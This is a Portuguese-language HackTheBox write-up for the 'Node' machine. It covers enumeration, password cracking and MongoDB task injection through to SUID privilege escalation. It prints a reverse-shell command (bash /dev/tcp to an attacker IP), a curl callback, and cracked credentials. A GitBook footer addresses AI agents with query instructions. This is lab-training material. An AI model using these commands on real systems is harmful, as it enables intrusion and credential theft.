> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md).

# Relato do HackTheBox Node

{% embed url="<https://app.hackthebox.com/machines/Node>" %}

{% hint style="warning" %}
**Habilidades:**

* Vazamento de Informações
* Enumeração da API
* Quebra de hashes
* Quebrando arquivo ZIP
* Download do backup - credenciais armazenadas
* Enumeração do MongoDB
* Injeção de tarefa Mongo - Injeção de comandos (Pivoting de usuário)
* Exploração do binário SUID de backup - Análise dinâmica
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/2d1cc1be9651b2c1412607ac81877bcc16f45375" alt=""><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/1f2d7e983219f929e032ffd942ce217d676e84b4" alt=""><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.58 -oG allPorts
```

<figure><img src="/files/26946f5c235d59101878f9bd77e64fabbed1ed83" alt=""><figcaption></figcaption></figure>

/*/Análise das portas abertas com extractPorts (22.3000) //*

Usando a função extractPorts para exibir as portas abertas de forma concisa e copiá-las para a área de transferência.

<figure><img src="/files/085b31441b1845632840110b4d0609f7648cb2c7" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,3000 10.10.10.58 -oN targeted
```

<figure><img src="/files/d41db48ea2413ac863b1ce201bdf436ca324ce81" alt=""><figcaption></figcaption></figure>

### **Porta 22 - SSH**

Observamos que a versão é vulnerável à enumeração de usuários por ser inferior à versão 7.7. Isso permite tentar uma lista de usuários.

Usando `searchsploit` para encontrar um exploit

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="/files/f63af872ce5667f3676718666c54bad82c43ef20" alt=""><figcaption></figcaption></figure>

Usamos este exploit para verificar se um usuário é válido ou não:

```bash
python2.7 45939.py 10.10.10.58 root 2>/dev/null
python2.7 45939.py 10.10.10.58 pepito 2>/dev/null
```

<figure><img src="/files/fca0d1cc7fe47ac6065117084cb1f8c0068e7b92" alt=""><figcaption></figcaption></figure>

## Porta 3000 - HTTP

Encontramos vários usuários em potencial: `tom`, `mark`, `rastating`.

<figure><img src="/files/4b7fd6acddc7305275bfcc3398429b53a465914f" alt=""><figcaption></figcaption></figure>

Enumeração de SSH com `45939.py` para testar usuários:

```bash
python2.7 45939.py 10.10.10.58 tom 2>/dev/null
python2.7 45939.py 10.10.10.58 mark 2>/dev/null
python2.7 45939.py 10.10.10.58 rastating 2>/dev/null
```

Observamos que `tom` e `mark` são usuários válidos.

<figure><img src="/files/9febf21e4870f7702a5a883e679c32a797a164ec" alt=""><figcaption></figcaption></figure>

### Lista de diretórios:

Usamos `gobuster` para enumerar diretórios na porta 3000:

```bash
gobuster dir -u http://10.10.10.58:3000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 3861
```

Não encontramos informações interessantes. No entanto, ao explorar as requisições de rede no Firefox, encontramos um `mais recente` arquivo que chama uma API.

<figure><img src="/files/71014a4c49011f4a9ff9d7fa8a1cbba3d8a403aa" alt=""><figcaption></figcaption></figure>

### Exploração da API:

A API contém uma `/users` rota que retorna informações sensíveis, incluindo hashes de senha de vários usuários:

<figure><img src="/files/da4ab68210adfd943832729d95ad76cb937e4628" alt=""><figcaption></figcaption></figure>

* `myP14ceAdm1nAcc0uNT` : `dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af`
* `tom` : `f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240`
* `mark` : `de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73`
* `rastating` : `5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0`

<figure><img src="/files/4057687a38541f243092cd82e9f825ca724d2b88" alt=""><figcaption></figcaption></figure>

### Quebra de senhas:

Usamos `crackstation` para quebrar as senhas dos usuários.

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/9f1c02270a9c56bb1c0e289a05382d347fdcf9f7" alt=""><figcaption></figcaption></figure>

As senhas decodificadas são as seguintes:

* `myP14ceAdm1nAcc0uNT` : `manchester`
* `tom`: `spongebob`
* `mark`: `snowflake`

<figure><img src="/files/ad988cbe2ddcfd3bf88cd67aaa77b0798a27fca5" alt=""><figcaption></figcaption></figure>

Conseguimos nos conectar com o usuário `myP14ceAdm1nAcc0uNT` no painel de administração.

<figure><img src="/files/ace62ec8c14e5a11de10835799ae37223bf7e712" alt=""><figcaption></figcaption></figure>

### Baixando backup:

O `myP14ceAdm1nAcc0uNT` o usuário nos permite baixar um arquivo de backup.

<figure><img src="/files/5196daa559a1048525fcab9865e94269ad6b9bdd" alt=""><figcaption></figcaption></figure>

O arquivo baixado contém uma string Base64.

<figure><img src="/files/9e76571358c955173b39082402da0ad0b33f1993" alt=""><figcaption></figcaption></figure>

Decodificamos para um arquivo ZIP:

```bash
cat myplace.backup | base64 -d > myplace.zip
```

<figure><img src="/files/509e58cadb78a6e72c37b62dcf775f28b50c2522" alt=""><figcaption></figcaption></figure>

### Força bruta no arquivo ZIP:

**Extraia o hash com `zip2john`**:

Então usaremos o zip2john para extrair o hash

```bash
zip2john myplace.zip > hash
```

<figure><img src="/files/116657cd131ad8cde618b6da6146cb237872a6b9" alt=""><figcaption></figcaption></figure>

**Quebra de senha com `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**Resultado**: Senha encontrada - `magicword`

<figure><img src="/files/60ffe122e10c5a823994a701dd7f57fd20862325" alt=""><figcaption></figcaption></figure>

Conseguimos descompactar o arquivo ZIP, que contém um backup do site em `/var` diretório.

<figure><img src="/files/d53dc37df678a09cbe63b3138bb73a8e3794b954" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/36b664867c71ef0615446a4e5ef2447e4116b19b" alt=""><figcaption></figcaption></figure>

### Exploração de `app.js`:

No `app.js` arquivo, encontramos informações sensíveis, incluindo um usuário (`mark`) e a senha associada para acessar o banco de dados:

* `mark` : `5AYRft73VtFpc84k`

<figure><img src="/files/97b503ae75998e6967dec4e7b3719f85efa9de82" alt=""><figcaption></figcaption></figure>

#### Conexão SSH com `mark`:

Usamos as informações recuperadas para conectar via SSH com o usuário `mark`:

```bash
ssh mark@10.10.10.58 
```

Senha: `5AYRft73VtFpc84k`

Agora temos acesso à máquina alvo.

<figure><img src="/files/18788e6cc2673c8a19ab008565b2fdb73f352953" alt=""><figcaption></figcaption></figure>

## Pivotando para o usuário Tom

Agora precisamos fazer pivot para o usuário **tom**.

<figure><img src="/files/5f7bb59c1e83fb07dff188e0f0f4f90aafb8aedf" alt=""><figcaption></figcaption></figure>

### Conexão ao banco MongoDB

Ao analisar os processos atuais, notamos que **tom** executa um `app.js` arquivo com Node.js.

<figure><img src="/files/d2a078dffd98f655989f0102f6d141fcad5be714" alt=""><figcaption></figcaption></figure>

Este arquivo se conecta ao `scheduler` banco de dados usando as mesmas credenciais do usuário **mark**.

<figure><img src="/files/5ce64174e6125cc0bbaf4e8f80070f392ef2e527" alt=""><figcaption></figcaption></figure>

Para acessar o banco de dados, usamos **mark** credenciais:

```bash
mongo --username mark --password 5AYRft73VtFpc84k --authenticationDatabase scheduler localhost:27017/scheduler
```

<figure><img src="/files/b124db24382ebf946312413578f0b337141bedb6" alt=""><figcaption></figcaption></figure>

### Shell reversa no MongoDB

O `app.js` o script executa comandos do sistema a partir de documentos do MongoDB (via `doc.cmd`). Isso apresenta uma vulnerabilidade crítica, pois comandos arbitrários podem ser injetados e executados.

<figure><img src="/files/36b31f377bafa33e4f9662ed7bd8151841a190ad" alt=""><figcaption></figcaption></figure>

Para confirmar que podemos executar comandos via MongoDB

**Crie um servidor web local**

Na máquina atacante, execute um servidor web para observar as requisições:

```bash
python3 -m http.server 80
```

**Insira um comando de teste no `tasks` coleção**

No MongoDB, insira um comando que faça uma consulta HTTP para sua máquina atacante

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Observe as requisições**

Se você vir uma requisição nos logs do servidor web, isso confirma que os comandos estão sendo executados.

<figure><img src="/files/09143c72756f0caefc83cd6b75a3d40430517a96" alt=""><figcaption></figcaption></figure>

Inicie uma shell reversa.

vamos colocar em escuta na porta 443

```bash
nc -nlvp 443
```

#### Iniciar uma shell reversa

**Configurar a escuta na porta 443** Na máquina atacante:

```bash
nc -nlvp 443
```

**Insira o comando da shell reversa**

No MongoDB, insira um comando para estabelecer uma shell reversa:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Conexão bem-sucedida** Assim que o comando for executado, você obtém uma shell interativa na máquina alvo sob o usuário **tom**.

<figure><img src="/files/3792a0f8bb9bfd0b661b3bb4006f880f9681db2e" alt=""><figcaption></figcaption></figure>

#### Estabilização do terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="/files/ecb112e50ef1e7ce567f5d587377682ccf86c3ab" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilégios

### Binário SUID (backup)

Para procurar arquivos com o bit SUID habilitado, o seguinte comando é usado:

```bash
find / -perm -4000 2>/dev/null
```

Isso nos permite encontrar um binário chamado `backup`.

<figure><img src="/files/b2c711ab935aaf212b516da2fa5a62e5238c050a" alt=""><figcaption></figcaption></figure>

O proprietário do binário é `root`, o que significa que ele é executado com privilégios de root.

<figure><img src="/files/64f37da8c89e84b364db2d8525f798c888b7af25" alt=""><figcaption></figcaption></figure>

Quando tentamos executar esse binário diretamente, nada acontece. No entanto, ao testar diferentes entradas, descobrimos que ele aceita uma string de três caracteres separados por espaços, o que revela as funções disponíveis:

```bash
/usr/local/bin/backup a d g
```

<figure><img src="/files/f01540cb294aa2aa84029092c8e46e976dcc1147" alt=""><figcaption></figcaption></figure>

Ao analisar o `app.js` arquivo, encontramos informações sobre o uso do binário, bem como uma chave necessária para sua execução. A chave está localizada no topo do arquivo.

<figure><img src="/files/db3b3d2b6c3361887425731dda0deeddca6c18ac" alt=""><figcaption></figcaption></figure>

Para usar o binário, precisamos fornecer a chave, seguida do caminho do diretório para salvar.

`45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`

<figure><img src="/files/3dd6f5a130eb4568f69a02e787da9eab61d246e4" alt=""><figcaption></figcaption></figure>

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
```

Isso gera uma saída em Base64.

<figure><img src="/files/ca81bf5d55ee69961d83dbab1b23bce4f712d964" alt=""><figcaption></figcaption></figure>

A saída em Base64 pode ser decodificada em um `.zip` arquivo usando o seguinte comando:

{% code overflow="wrap" %}

```bash
echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip
```

{% endcode %}

<figure><img src="/files/9d4ba67b1305c8b0a7de2524cfa8cd4327a520cd" alt=""><figcaption></figcaption></figure>

O arquivo zip é protegido por senha. Usamos a senha encontrada anteriormente

* senha: `magicword`

No entanto, o `root.txt` arquivo contido no arquivo compactado é uma isca (beco sem saída).

<figure><img src="/files/e5660e53d539b249cb610d32137189907cf35bb0" alt=""><figcaption></figcaption></figure>

### Análise detalhada com `ltrace`

Usando `ltrace`, observamos que o binário compara o caminho `/root` com o fornecido no argumento. Se os caminhos coincidirem, ele exibe um desenho de troll.

<figure><img src="/files/51c40c981073eea5b7c05e49d2ec8f88190ca943" alt=""><figcaption></figcaption></figure>

Para contornar essa verificação, executamos o binário a partir da raiz (`/`) solicitando um backup de `root`

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
```

<figure><img src="/files/9a2d2f0d3128354523ae92414c6612d1dbf33817" alt=""><figcaption></figcaption></figure>

A nova versão também está em Base64. Decodificamos para obter o conteúdo final:

{% code overflow="wrap" %}

```bash
echo "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" | base64 -d > root.zip
```

{% endcode %}

### Flag root.txt :)

Ao extrair o arquivo final, acessamos o conteúdo desejado.

<figure><img src="/files/9454ba4a6389bf85afe533ba6c589b1dacc3a9ad" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5f6bbc5806b9e9029197b4b07df70e004176d448" alt="" width="513"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
